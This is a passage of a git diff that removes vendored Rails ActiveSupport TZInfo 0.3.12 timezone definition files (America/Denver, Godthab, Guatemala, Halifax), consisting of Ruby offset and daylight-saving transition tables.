-          tz.transition 2027, 10, :o1, 1824969600
-          tz.transition 2028, 4, :o4, 1838278800
-          tz.transition 2028, 10, :o1, 1856419200
-          tz.transition 2029, 4, :o4, 1869728400
-          tz.transition 2029, 10, :o1, 1887868800
-          tz.transition 2030, 4, :o4, 1901782800
-          tz.transition 2030, 10, :o1, 1919318400
-          tz.transition 2031, 4, :o4, 1933232400
-          tz.transition 2031, 10, :o1, 1950768000
-          tz.transition 2032, 4, :o4, 1964682000
-          tz.transition 2032, 10, :o1, 1982822400
-          tz.transition 2033, 4, :o4, 1996131600
-          tz.transition 2033, 10, :o1, 2014272000
-          tz.transition 2034, 4, :o4, 2027581200
-          tz.transition 2034, 10, :o1, 2045721600
-          tz.transition 2035, 4, :o4, 2059030800
-          tz.transition 2035, 10, :o1, 2077171200
-          tz.transition 2036, 4, :o4, 2091085200
-          tz.transition 2036, 10, :o1, 2108620800
-          tz.transition 2037, 4, :o4, 2122534800
-          tz.transition 2037, 10, :o1, 2140070400
-          tz.transition 2038, 4, :o4, 19724143, 8
-          tz.transition 2038, 10, :o1, 14794367, 6
-          tz.transition 2039, 4, :o4, 19727055, 8
-          tz.transition 2039, 10, :o1, 14796551, 6
-          tz.transition 2040, 4, :o4, 19729967, 8
-          tz.transition 2040, 10, :o1, 14798735, 6
-          tz.transition 2041, 4, :o4, 19732935, 8
-          tz.transition 2041, 10, :o1, 14800919, 6
-          tz.transition 2042, 4, :o4, 19735847, 8
-          tz.transition 2042, 10, :o1, 14803103, 6
-          tz.transition 2043, 4, :o4, 19738759, 8
-          tz.transition 2043, 10, :o1, 14805287, 6
-          tz.transition 2044, 4, :o4, 19741671, 8
-          tz.transition 2044, 10, :o1, 14807513, 6
-          tz.transition 2045, 4, :o4, 19744583, 8
-          tz.transition 2045, 10, :o1, 14809697, 6
-          tz.transition 2046, 4, :o4, 19747495, 8
-          tz.transition 2046, 10, :o1, 14811881, 6
-          tz.transition 2047, 4, :o4, 19750463, 8
-          tz.transition 2047, 10, :o1, 14814065, 6
-          tz.transition 2048, 4, :o4, 19753375, 8
-          tz.transition 2048, 10, :o1, 14816249, 6
-          tz.transition 2049, 4, :o4, 19756287, 8
-          tz.transition 2049, 10, :o1, 14818475, 6
-          tz.transition 2050, 4, :o4, 19759199, 8
-          tz.transition 2050, 10, :o1, 14820659, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb
deleted file mode 100644
index 1c1efb5f..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb
+++ /dev/null
@@ -1,204 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Denver
-        include TimezoneDefinition
-        
-        timezone 'America/Denver' do |tz|
-          tz.offset :o0, -25196, 0, :LMT
-          tz.offset :o1, -25200, 0, :MST
-          tz.offset :o2, -25200, 3600, :MDT
-          tz.offset :o3, -25200, 3600, :MWT
-          tz.offset :o4, -25200, 3600, :MPT
-          
-          tz.transition 1883, 11, :o1, 57819199, 24
-          tz.transition 1918, 3, :o2, 19373471, 8
-          tz.transition 1918, 10, :o1, 14531363, 6
-          tz.transition 1919, 3, :o2, 19376383, 8
-          tz.transition 1919, 10, :o1, 14533547, 6
-          tz.transition 1920, 3, :o2, 19379295, 8
-          tz.transition 1920, 10, :o1, 14535773, 6
-          tz.transition 1921, 3, :o2, 19382207, 8
-          tz.transition 1921, 5, :o1, 14536991, 6
-          tz.transition 1942, 2, :o3, 19443199, 8
-          tz.transition 1945, 8, :o4, 58360379, 24
-          tz.transition 1945, 9, :o1, 14590373, 6
-          tz.transition 1965, 4, :o2, 19511007, 8
-          tz.transition 1965, 10, :o1, 14634389, 6
-          tz.transition 1966, 4, :o2, 19513919, 8
-          tz.transition 1966, 10, :o1, 14636573, 6
-          tz.transition 1967, 4, :o2, 19516887, 8
-          tz.transition 1967, 10, :o1, 14638757, 6
-          tz.transition 1968, 4, :o2, 19519799, 8
-          tz.transition 1968, 10, :o1, 14640941, 6
-          tz.transition 1969, 4, :o2, 19522711, 8
-          tz.transition 1969, 10, :o1, 14643125, 6
-          tz.transition 1970, 4, :o2, 9968400
-          tz.transition 1970, 10, :o1, 25689600
-          tz.transition 1971, 4, :o2, 41418000
-          tz.transition 1971, 10, :o1, 57744000
-          tz.transition 1972, 4, :o2, 73472400
-          tz.transition 1972, 10, :o1, 89193600
-          tz.transition 1973, 4, :o2, 104922000
-          tz.transition 1973, 10, :o1, 120643200
-          tz.transition 1974, 1, :o2, 126694800
-          tz.transition 1974, 10, :o1, 152092800
-          tz.transition 1975, 2, :o2, 162378000
-          tz.transition 1975, 10, :o1, 183542400
-          tz.transition 1976, 4, :o2, 199270800
-          tz.transition 1976, 10, :o1, 215596800
-          tz.transition 1977, 4, :o2, 230720400
-          tz.transition 1977, 10, :o1, 247046400
-          tz.transition 1978, 4, :o2, 262774800
-          tz.transition 1978, 10, :o1, 278496000
-          tz.transition 1979, 4, :o2, 294224400
-          tz.transition 1979, 10, :o1, 309945600
-          tz.transition 1980, 4, :o2, 325674000
-          tz.transition 1980, 10, :o1, 341395200
-          tz.transition 1981, 4, :o2, 357123600
-          tz.transition 1981, 10, :o1, 372844800
-          tz.transition 1982, 4, :o2, 388573200
-          tz.transition 1982, 10, :o1, 404899200
-          tz.transition 1983, 4, :o2, 420022800
-          tz.transition 1983, 10, :o1, 436348800
-          tz.transition 1984, 4, :o2, 452077200
-          tz.transition 1984, 10, :o1, 467798400
-          tz.transition 1985, 4, :o2, 483526800
-          tz.transition 1985, 10, :o1, 499248000
-          tz.transition 1986, 4, :o2, 514976400
-          tz.transition 1986, 10, :o1, 530697600
-          tz.transition 1987, 4, :o2, 544611600
-          tz.transition 1987, 10, :o1, 562147200
-          tz.transition 1988, 4, :o2, 576061200
-          tz.transition 1988, 10, :o1, 594201600
-          tz.transition 1989, 4, :o2, 607510800
-          tz.transition 1989, 10, :o1, 625651200
-          tz.transition 1990, 4, :o2, 638960400
-          tz.transition 1990, 10, :o1, 657100800
-          tz.transition 1991, 4, :o2, 671014800
-          tz.transition 1991, 10, :o1, 688550400
-          tz.transition 1992, 4, :o2, 702464400
-          tz.transition 1992, 10, :o1, 720000000
-          tz.transition 1993, 4, :o2, 733914000
-          tz.transition 1993, 10, :o1, 752054400
-          tz.transition 1994, 4, :o2, 765363600
-          tz.transition 1994, 10, :o1, 783504000
-          tz.transition 1995, 4, :o2, 796813200
-          tz.transition 1995, 10, :o1, 814953600
-          tz.transition 1996, 4, :o2, 828867600
-          tz.transition 1996, 10, :o1, 846403200
-          tz.transition 1997, 4, :o2, 860317200
-          tz.transition 1997, 10, :o1, 877852800
-          tz.transition 1998, 4, :o2, 891766800
-          tz.transition 1998, 10, :o1, 909302400
-          tz.transition 1999, 4, :o2, 923216400
-          tz.transition 1999, 10, :o1, 941356800
-          tz.transition 2000, 4, :o2, 954666000
-          tz.transition 2000, 10, :o1, 972806400
-          tz.transition 2001, 4, :o2, 986115600
-          tz.transition 2001, 10, :o1, 1004256000
-          tz.transition 2002, 4, :o2, 1018170000
-          tz.transition 2002, 10, :o1, 1035705600
-          tz.transition 2003, 4, :o2, 1049619600
-          tz.transition 2003, 10, :o1, 1067155200
-          tz.transition 2004, 4, :o2, 1081069200
-          tz.transition 2004, 10, :o1, 1099209600
-          tz.transition 2005, 4, :o2, 1112518800
-          tz.transition 2005, 10, :o1, 1130659200
-          tz.transition 2006, 4, :o2, 1143968400
-          tz.transition 2006, 10, :o1, 1162108800
-          tz.transition 2007, 3, :o2, 1173603600
-          tz.transition 2007, 11, :o1, 1194163200
-          tz.transition 2008, 3, :o2, 1205053200
-          tz.transition 2008, 11, :o1, 1225612800
-          tz.transition 2009, 3, :o2, 1236502800
-          tz.transition 2009, 11, :o1, 1257062400
-          tz.transition 2010, 3, :o2, 1268557200
-          tz.transition 2010, 11, :o1, 1289116800
-          tz.transition 2011, 3, :o2, 1300006800
-          tz.transition 2011, 11, :o1, 1320566400
-          tz.transition 2012, 3, :o2, 1331456400
-          tz.transition 2012, 11, :o1, 1352016000
-          tz.transition 2013, 3, :o2, 1362906000
-          tz.transition 2013, 11, :o1, 1383465600
-          tz.transition 2014, 3, :o2, 1394355600
-          tz.transition 2014, 11, :o1, 1414915200
-          tz.transition 2015, 3, :o2, 1425805200
-          tz.transition 2015, 11, :o1, 1446364800
-          tz.transition 2016, 3, :o2, 1457859600
-          tz.transition 2016, 11, :o1, 1478419200
-          tz.transition 2017, 3, :o2, 1489309200
-          tz.transition 2017, 11, :o1, 1509868800
-          tz.transition 2018, 3, :o2, 1520758800
-          tz.transition 2018, 11, :o1, 1541318400
-          tz.transition 2019, 3, :o2, 1552208400
-          tz.transition 2019, 11, :o1, 1572768000
-          tz.transition 2020, 3, :o2, 1583658000
-          tz.transition 2020, 11, :o1, 1604217600
-          tz.transition 2021, 3, :o2, 1615712400
-          tz.transition 2021, 11, :o1, 1636272000
-          tz.transition 2022, 3, :o2, 1647162000
-          tz.transition 2022, 11, :o1, 1667721600
-          tz.transition 2023, 3, :o2, 1678611600
-          tz.transition 2023, 11, :o1, 1699171200
-          tz.transition 2024, 3, :o2, 1710061200
-          tz.transition 2024, 11, :o1, 1730620800
-          tz.transition 2025, 3, :o2, 1741510800
-          tz.transition 2025, 11, :o1, 1762070400
-          tz.transition 2026, 3, :o2, 1772960400
-          tz.transition 2026, 11, :o1, 1793520000
-          tz.transition 2027, 3, :o2, 1805014800
-          tz.transition 2027, 11, :o1, 1825574400
-          tz.transition 2028, 3, :o2, 1836464400
-          tz.transition 2028, 11, :o1, 1857024000
-          tz.transition 2029, 3, :o2, 1867914000
-          tz.transition 2029, 11, :o1, 1888473600
-          tz.transition 2030, 3, :o2, 1899363600
-          tz.transition 2030, 11, :o1, 1919923200
-          tz.transition 2031, 3, :o2, 1930813200
-          tz.transition 2031, 11, :o1, 1951372800
-          tz.transition 2032, 3, :o2, 1962867600
-          tz.transition 2032, 11, :o1, 1983427200
-          tz.transition 2033, 3, :o2, 1994317200
-          tz.transition 2033, 11, :o1, 2014876800
-          tz.transition 2034, 3, :o2, 2025766800
-          tz.transition 2034, 11, :o1, 2046326400
-          tz.transition 2035, 3, :o2, 2057216400
-          tz.transition 2035, 11, :o1, 2077776000
-          tz.transition 2036, 3, :o2, 2088666000
-          tz.transition 2036, 11, :o1, 2109225600
-          tz.transition 2037, 3, :o2, 2120115600
-          tz.transition 2037, 11, :o1, 2140675200
-          tz.transition 2038, 3, :o2, 19723975, 8
-          tz.transition 2038, 11, :o1, 14794409, 6
-          tz.transition 2039, 3, :o2, 19726887, 8
-          tz.transition 2039, 11, :o1, 14796593, 6
-          tz.transition 2040, 3, :o2, 19729799, 8
-          tz.transition 2040, 11, :o1, 14798777, 6
-          tz.transition 2041, 3, :o2, 19732711, 8
-          tz.transition 2041, 11, :o1, 14800961, 6
-          tz.transition 2042, 3, :o2, 19735623, 8
-          tz.transition 2042, 11, :o1, 14803145, 6
-          tz.transition 2043, 3, :o2, 19738535, 8
-          tz.transition 2043, 11, :o1, 14805329, 6
-          tz.transition 2044, 3, :o2, 19741503, 8
-          tz.transition 2044, 11, :o1, 14807555, 6
-          tz.transition 2045, 3, :o2, 19744415, 8
-          tz.transition 2045, 11, :o1, 14809739, 6
-          tz.transition 2046, 3, :o2, 19747327, 8
-          tz.transition 2046, 11, :o1, 14811923, 6
-          tz.transition 2047, 3, :o2, 19750239, 8
-          tz.transition 2047, 11, :o1, 14814107, 6
-          tz.transition 2048, 3, :o2, 19753151, 8
-          tz.transition 2048, 11, :o1, 14816291, 6
-          tz.transition 2049, 3, :o2, 19756119, 8
-          tz.transition 2049, 11, :o1, 14818517, 6
-          tz.transition 2050, 3, :o2, 19759031, 8
-          tz.transition 2050, 11, :o1, 14820701, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb
deleted file mode 100644
index 1e05518b..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Godthab
-        include TimezoneDefinition
-        
-        timezone 'America/Godthab' do |tz|
-          tz.offset :o0, -12416, 0, :LMT
-          tz.offset :o1, -10800, 0, :WGT
-          tz.offset :o2, -10800, 3600, :WGST
-          
-          tz.transition 1916, 7, :o1, 3268448069, 1350
-          tz.transition 1980, 4, :o2, 323845200
-          tz.transition 1980, 9, :o1, 338950800
-          tz.transition 1981, 3, :o2, 354675600
-          tz.transition 1981, 9, :o1, 370400400
-          tz.transition 1982, 3, :o2, 386125200
-          tz.transition 1982, 9, :o1, 401850000
-          tz.transition 1983, 3, :o2, 417574800
-          tz.transition 1983, 9, :o1, 433299600
-          tz.transition 1984, 3, :o2, 449024400
-          tz.transition 1984, 9, :o1, 465354000
-          tz.transition 1985, 3, :o2, 481078800
-          tz.transition 1985, 9, :o1, 496803600
-          tz.transition 1986, 3, :o2, 512528400
-          tz.transition 1986, 9, :o1, 528253200
-          tz.transition 1987, 3, :o2, 543978000
-          tz.transition 1987, 9, :o1, 559702800
-          tz.transition 1988, 3, :o2, 575427600
-          tz.transition 1988, 9, :o1, 591152400
-          tz.transition 1989, 3, :o2, 606877200
-          tz.transition 1989, 9, :o1, 622602000
-          tz.transition 1990, 3, :o2, 638326800
-          tz.transition 1990, 9, :o1, 654656400
-          tz.transition 1991, 3, :o2, 670381200
-          tz.transition 1991, 9, :o1, 686106000
-          tz.transition 1992, 3, :o2, 701830800
-          tz.transition 1992, 9, :o1, 717555600
-          tz.transition 1993, 3, :o2, 733280400
-          tz.transition 1993, 9, :o1, 749005200
-          tz.transition 1994, 3, :o2, 764730000
-          tz.transition 1994, 9, :o1, 780454800
-          tz.transition 1995, 3, :o2, 796179600
-          tz.transition 1995, 9, :o1, 811904400
-          tz.transition 1996, 3, :o2, 828234000
-          tz.transition 1996, 10, :o1, 846378000
-          tz.transition 1997, 3, :o2, 859683600
-          tz.transition 1997, 10, :o1, 877827600
-          tz.transition 1998, 3, :o2, 891133200
-          tz.transition 1998, 10, :o1, 909277200
-          tz.transition 1999, 3, :o2, 922582800
-          tz.transition 1999, 10, :o1, 941331600
-          tz.transition 2000, 3, :o2, 954032400
-          tz.transition 2000, 10, :o1, 972781200
-          tz.transition 2001, 3, :o2, 985482000
-          tz.transition 2001, 10, :o1, 1004230800
-          tz.transition 2002, 3, :o2, 1017536400
-          tz.transition 2002, 10, :o1, 1035680400
-          tz.transition 2003, 3, :o2, 1048986000
-          tz.transition 2003, 10, :o1, 1067130000
-          tz.transition 2004, 3, :o2, 1080435600
-          tz.transition 2004, 10, :o1, 1099184400
-          tz.transition 2005, 3, :o2, 1111885200
-          tz.transition 2005, 10, :o1, 1130634000
-          tz.transition 2006, 3, :o2, 1143334800
-          tz.transition 2006, 10, :o1, 1162083600
-          tz.transition 2007, 3, :o2, 1174784400
-          tz.transition 2007, 10, :o1, 1193533200
-          tz.transition 2008, 3, :o2, 1206838800
-          tz.transition 2008, 10, :o1, 1224982800
-          tz.transition 2009, 3, :o2, 1238288400
-          tz.transition 2009, 10, :o1, 1256432400
-          tz.transition 2010, 3, :o2, 1269738000
-          tz.transition 2010, 10, :o1, 1288486800
-          tz.transition 2011, 3, :o2, 1301187600
-          tz.transition 2011, 10, :o1, 1319936400
-          tz.transition 2012, 3, :o2, 1332637200
-          tz.transition 2012, 10, :o1, 1351386000
-          tz.transition 2013, 3, :o2, 1364691600
-          tz.transition 2013, 10, :o1, 1382835600
-          tz.transition 2014, 3, :o2, 1396141200
-          tz.transition 2014, 10, :o1, 1414285200
-          tz.transition 2015, 3, :o2, 1427590800
-          tz.transition 2015, 10, :o1, 1445734800
-          tz.transition 2016, 3, :o2, 1459040400
-          tz.transition 2016, 10, :o1, 1477789200
-          tz.transition 2017, 3, :o2, 1490490000
-          tz.transition 2017, 10, :o1, 1509238800
-          tz.transition 2018, 3, :o2, 1521939600
-          tz.transition 2018, 10, :o1, 1540688400
-          tz.transition 2019, 3, :o2, 1553994000
-          tz.transition 2019, 10, :o1, 1572138000
-          tz.transition 2020, 3, :o2, 1585443600
-          tz.transition 2020, 10, :o1, 1603587600
-          tz.transition 2021, 3, :o2, 1616893200
-          tz.transition 2021, 10, :o1, 1635642000
-          tz.transition 2022, 3, :o2, 1648342800
-          tz.transition 2022, 10, :o1, 1667091600
-          tz.transition 2023, 3, :o2, 1679792400
-          tz.transition 2023, 10, :o1, 1698541200
-          tz.transition 2024, 3, :o2, 1711846800
-          tz.transition 2024, 10, :o1, 1729990800
-          tz.transition 2025, 3, :o2, 1743296400
-          tz.transition 2025, 10, :o1, 1761440400
-          tz.transition 2026, 3, :o2, 1774746000
-          tz.transition 2026, 10, :o1, 1792890000
-          tz.transition 2027, 3, :o2, 1806195600
-          tz.transition 2027, 10, :o1, 1824944400
-          tz.transition 2028, 3, :o2, 1837645200
-          tz.transition 2028, 10, :o1, 1856394000
-          tz.transition 2029, 3, :o2, 1869094800
-          tz.transition 2029, 10, :o1, 1887843600
-          tz.transition 2030, 3, :o2, 1901149200
-          tz.transition 2030, 10, :o1, 1919293200
-          tz.transition 2031, 3, :o2, 1932598800
-          tz.transition 2031, 10, :o1, 1950742800
-          tz.transition 2032, 3, :o2, 1964048400
-          tz.transition 2032, 10, :o1, 1982797200
-          tz.transition 2033, 3, :o2, 1995498000
-          tz.transition 2033, 10, :o1, 2014246800
-          tz.transition 2034, 3, :o2, 2026947600
-          tz.transition 2034, 10, :o1, 2045696400
-          tz.transition 2035, 3, :o2, 2058397200
-          tz.transition 2035, 10, :o1, 2077146000
-          tz.transition 2036, 3, :o2, 2090451600
-          tz.transition 2036, 10, :o1, 2108595600
-          tz.transition 2037, 3, :o2, 2121901200
-          tz.transition 2037, 10, :o1, 2140045200
-          tz.transition 2038, 3, :o2, 59172253, 24
-          tz.transition 2038, 10, :o1, 59177461, 24
-          tz.transition 2039, 3, :o2, 59180989, 24
-          tz.transition 2039, 10, :o1, 59186197, 24
-          tz.transition 2040, 3, :o2, 59189725, 24
-          tz.transition 2040, 10, :o1, 59194933, 24
-          tz.transition 2041, 3, :o2, 59198629, 24
-          tz.transition 2041, 10, :o1, 59203669, 24
-          tz.transition 2042, 3, :o2, 59207365, 24
-          tz.transition 2042, 10, :o1, 59212405, 24
-          tz.transition 2043, 3, :o2, 59216101, 24
-          tz.transition 2043, 10, :o1, 59221141, 24
-          tz.transition 2044, 3, :o2, 59224837, 24
-          tz.transition 2044, 10, :o1, 59230045, 24
-          tz.transition 2045, 3, :o2, 59233573, 24
-          tz.transition 2045, 10, :o1, 59238781, 24
-          tz.transition 2046, 3, :o2, 59242309, 24
-          tz.transition 2046, 10, :o1, 59247517, 24
-          tz.transition 2047, 3, :o2, 59251213, 24
-          tz.transition 2047, 10, :o1, 59256253, 24
-          tz.transition 2048, 3, :o2, 59259949, 24
-          tz.transition 2048, 10, :o1, 59264989, 24
-          tz.transition 2049, 3, :o2, 59268685, 24
-          tz.transition 2049, 10, :o1, 59273893, 24
-          tz.transition 2050, 3, :o2, 59277421, 24
-          tz.transition 2050, 10, :o1, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb
deleted file mode 100644
index a2bf7340..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Guatemala
-        include TimezoneDefinition
-        
-        timezone 'America/Guatemala' do |tz|
-          tz.offset :o0, -21724, 0, :LMT
-          tz.offset :o1, -21600, 0, :CST
-          tz.offset :o2, -21600, 3600, :CDT
-          
-          tz.transition 1918, 10, :o1, 52312429831, 21600
-          tz.transition 1973, 11, :o2, 123055200
-          tz.transition 1974, 2, :o1, 130914000
-          tz.transition 1983, 5, :o2, 422344800
-          tz.transition 1983, 9, :o1, 433054800
-          tz.transition 1991, 3, :o2, 669708000
-          tz.transition 1991, 9, :o1, 684219600
-          tz.transition 2006, 4, :o2, 1146376800
-          tz.transition 2006, 10, :o1, 1159678800
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb
deleted file mode 100644
index d25ae775..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb
+++ /dev/null
@@ -1,274 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Halifax
-        include TimezoneDefinition
-        
-        timezone 'America/Halifax' do |tz|
-          tz.offset :o0, -15264, 0, :LMT
-          tz.offset :o1, -14400, 0, :AST
-          tz.offset :o2, -14400, 3600, :ADT
-          tz.offset :o3, -14400, 3600, :AWT
-          tz.offset :o4, -14400, 3600, :APT
-          
-          tz.transition 1902, 6, :o1, 724774703, 300
-          tz.transition 1916, 4, :o2, 7262864, 3
-          tz.transition 1916, 10, :o1, 19369101, 8
-          tz.transition 1918, 4, :o2, 9686791, 4
-          tz.transition 1918, 10, :o1, 58125545, 24
-          tz.transition 1920, 5, :o2, 7267361, 3
-          tz.transition 1920, 8, :o1, 19380525, 8
-          tz.transition 1921, 5, :o2, 7268447, 3
-          tz.transition 1921, 9, :o1, 19383501, 8
-          tz.transition 1922, 4, :o2, 7269524, 3
-          tz.transition 1922, 9, :o1, 19386421, 8
-          tz.transition 1923, 5, :o2, 7270637, 3
-          tz.transition 1923, 9, :o1, 19389333, 8
-          tz.transition 1924, 5, :o2, 7271729, 3
-          tz.transition 1924, 9, :o1, 19392349, 8
-          tz.transition 1925, 5, :o2, 7272821, 3
-          tz.transition 1925, 9, :o1, 19395373, 8
-          tz.transition 1926, 5, :o2, 7273955, 3
-          tz.transition 1926, 9, :o1, 19398173, 8
-          tz.transition 1927, 5, :o2, 7275005, 3
-          tz.transition 1927, 9, :o1, 19401197, 8
-          tz.transition 1928, 5, :o2, 7276139, 3
-          tz.transition 1928, 9, :o1, 19403989, 8
-          tz.transition 1929, 5, :o2, 7277231, 3
-          tz.transition 1929, 9, :o1, 19406861, 8
-          tz.transition 1930, 5, :o2, 7278323, 3
-          tz.transition 1930, 9, :o1, 19409877, 8
-          tz.transition 1931, 5, :o2, 7279415, 3
-          tz.transition 1931, 9, :o1, 19412901, 8
-          tz.transition 1932, 5, :o2, 7280486, 3
-          tz.transition 1932, 9, :o1, 19415813, 8
-          tz.transition 1933, 4, :o2, 7281578, 3
-          tz.transition 1933, 10, :o1, 19418781, 8
-          tz.transition 1934, 5, :o2, 7282733, 3
-          tz.transition 1934, 9, :o1, 19421573, 8
-          tz.transition 1935, 6, :o2, 7283867, 3
-          tz.transition 1935, 9, :o1, 19424605, 8
-          tz.transition 1936, 6, :o2, 7284962, 3
-          tz.transition 1936, 9, :o1, 19427405, 8
-          tz.transition 1937, 5, :o2, 7285967, 3
-          tz.transition 1937, 9, :o1, 19430429, 8
-          tz.transition 1938, 5, :o2, 7287059, 3
-          tz.transition 1938, 9, :o1, 19433341, 8
-          tz.transition 1939, 5, :o2, 7288235, 3
-          tz.transition 1939, 9, :o1, 19436253, 8
-          tz.transition 1940, 5, :o2, 7289264, 3
-          tz.transition 1940, 9, :o1, 19439221, 8
-          tz.transition 1941, 5, :o2, 7290356, 3
-          tz.transition 1941, 9, :o1, 19442133, 8
-          tz.transition 1942, 2, :o3, 9721599, 4
-          tz.transition 1945, 8, :o4, 58360379, 24
-          tz.transition 1945, 9, :o1, 58361489, 24
-          tz.transition 1946, 4, :o2, 9727755, 4
-          tz.transition 1946, 9, :o1, 58370225, 24
-          tz.transition 1947, 4, :o2, 9729211, 4
-          tz.transition 1947, 9, :o1, 58378961, 24
-          tz.transition 1948, 4, :o2, 9730667, 4
-          tz.transition 1948, 9, :o1, 58387697, 24
-          tz.transition 1949, 4, :o2, 9732123, 4
-          tz.transition 1949, 9, :o1, 58396433, 24
-          tz.transition 1951, 4, :o2, 9735063, 4
-          tz.transition 1951, 9, :o1, 58414073, 24
-          tz.transition 1952, 4, :o2, 9736519, 4
-          tz.transition 1952, 9, :o1, 58422809, 24
-          tz.transition 1953, 4, :o2, 9737975, 4
-          tz.transition 1953, 9, :o1, 58431545, 24
-          tz.transition 1954, 4, :o2, 9739431, 4
-          tz.transition 1954, 9, :o1, 58440281, 24
-          tz.transition 1956, 4, :o2, 9742371, 4
-          tz.transition 1956, 9, :o1, 58457921, 24
-          tz.transition 1957, 4, :o2, 9743827, 4
-          tz.transition 1957, 9, :o1, 58466657, 24
-          tz.transition 1958, 4, :o2, 9745283, 4
-          tz.transition 1958, 9, :o1, 58475393, 24
-          tz.transition 1959, 4, :o2, 9746739, 4
-          tz.transition 1959, 9, :o1, 58484129, 24
-          tz.transition 1962, 4, :o2, 9751135, 4
-          tz.transition 1962, 10, :o1, 58511177, 24
-          tz.transition 1963, 4, :o2, 9752591, 4
-          tz.transition 1963, 10, :o1, 58519913, 24
-          tz.transition 1964, 4, :o2, 9754047, 4
-          tz.transition 1964, 10, :o1, 58528649, 24
-          tz.transition 1965, 4, :o2, 9755503, 4
-          tz.transition 1965, 10, :o1, 58537553, 24
-          tz.transition 1966, 4, :o2, 9756959, 4
-          tz.transition 1966, 10, :o1, 58546289, 24
-          tz.transition 1967, 4, :o2, 9758443, 4
-          tz.transition 1967, 10, :o1, 58555025, 24
-          tz.transition 1968, 4, :o2, 9759899, 4
-          tz.transition 1968, 10, :o1, 58563761, 24
-          tz.transition 1969, 4, :o2, 9761355, 4
-          tz.transition 1969, 10, :o1, 58572497, 24
-          tz.transition 1970, 4, :o2, 9957600
-          tz.transition 1970, 10, :o1, 25678800
-          tz.transition 1971, 4, :o2, 41407200
-          tz.transition 1971, 10, :o1, 57733200
-          tz.transition 1972, 4, :o2, 73461600
-          tz.transition 1972, 10, :o1, 89182800
-          tz.transition 1973, 4, :o2, 104911200
-          tz.transition 1973, 10, :o1, 120632400
-          tz.transition 1974, 4, :o2, 136360800
-          tz.transition 1974, 10, :o1, 152082000
-          tz.transition 1975, 4, :o2, 167810400
-          tz.transition 1975, 10, :o1, 183531600
-          tz.transition 1976, 4, :o2, 199260000
-          tz.transition 1976, 10, :o1, 215586000
-          tz.transition 1977, 4, :o2, 230709600
-          tz.transition 1977, 10, :o1, 247035600
-          tz.transition 1978, 4, :o2, 262764000
-          tz.transition 1978, 10, :o1, 278485200
-          tz.transition 1979, 4, :o2, 294213600
-          tz.transition 1979, 10, :o1, 309934800
-          tz.transition 1980, 4, :o2, 325663200
-          tz.transition 1980, 10, :o1, 341384400
-          tz.transition 1981, 4, :o2, 357112800
-          tz.transition 1981, 10, :o1, 372834000
-          tz.transition 1982, 4, :o2, 388562400
-          tz.transition 1982, 10, :o1, 404888400
-          tz.transition 1983, 4, :o2, 420012000
-          tz.transition 1983, 10, :o1, 436338000
-          tz.transition 1984, 4, :o2, 452066400
-          tz.transition 1984, 10, :o1, 467787600
-          tz.transition 1985, 4, :o2, 483516000
-          tz.transition 1985, 10, :o1, 499237200
-          tz.transition 1986, 4, :o2, 514965600
-          tz.transition 1986, 10, :o1, 530686800
-          tz.transition 1987, 4, :o2, 544600800
-          tz.transition 1987, 10, :o1, 562136400
-          tz.transition 1988, 4, :o2, 576050400
-          tz.transition 1988, 10, :o1, 594190800
-          tz.transition 1989, 4, :o2, 607500000
-          tz.transition 1989, 10, :o1, 625640400
-          tz.transition 1990, 4, :o2, 638949600
-          tz.transition 1990, 10, :o1, 657090000
-          tz.transition 1991, 4, :o2, 671004000
-          tz.transition 1991, 10, :o1, 688539600
-          tz.transition 1992, 4, :o2, 702453600
-          tz.transition 1992, 10, :o1, 719989200
-          tz.transition 1993, 4, :o2, 733903200
-          tz.transition 1993, 10, :o1, 752043600
-          tz.transition 1994, 4, :o2, 765352800
-          tz.transition 1994, 10, :o1, 783493200
-          tz.transition 1995, 4, :o2, 796802400
-          tz.transition 1995, 10, :o1, 814942800
-          tz.transition 1996, 4, :o2, 828856800
-          tz.transition 1996, 10, :o1, 846392400
-          tz.transition 1997, 4, :o2, 860306400
-          tz.transition 1997, 10, :o1, 877842000
-          tz.transition 1998, 4, :o2, 891756000
-          tz.transition 1998, 10, :o1, 909291600
-          tz.transition 1999, 4, :o2, 923205600
-          tz.transition 1999, 10, :o1, 941346000
-          tz.transition 2000, 4, :o2, 954655200
-          tz.transition 2000, 10, :o1, 972795600
-          tz.transition 2001, 4, :o2, 986104800
-          tz.transition 2001, 10, :o1, 1004245200
-          tz.transition 2002, 4, :o2, 1018159200
-          tz.transition 2002, 10, :o1, 1035694800
-          tz.transition 2003, 4, :o2, 1049608800
-          tz.transition 2003, 10, :o1, 1067144400
-          tz.transition 2004, 4, :o2, 1081058400
-          tz.transition 2004, 10, :o1, 1099198800
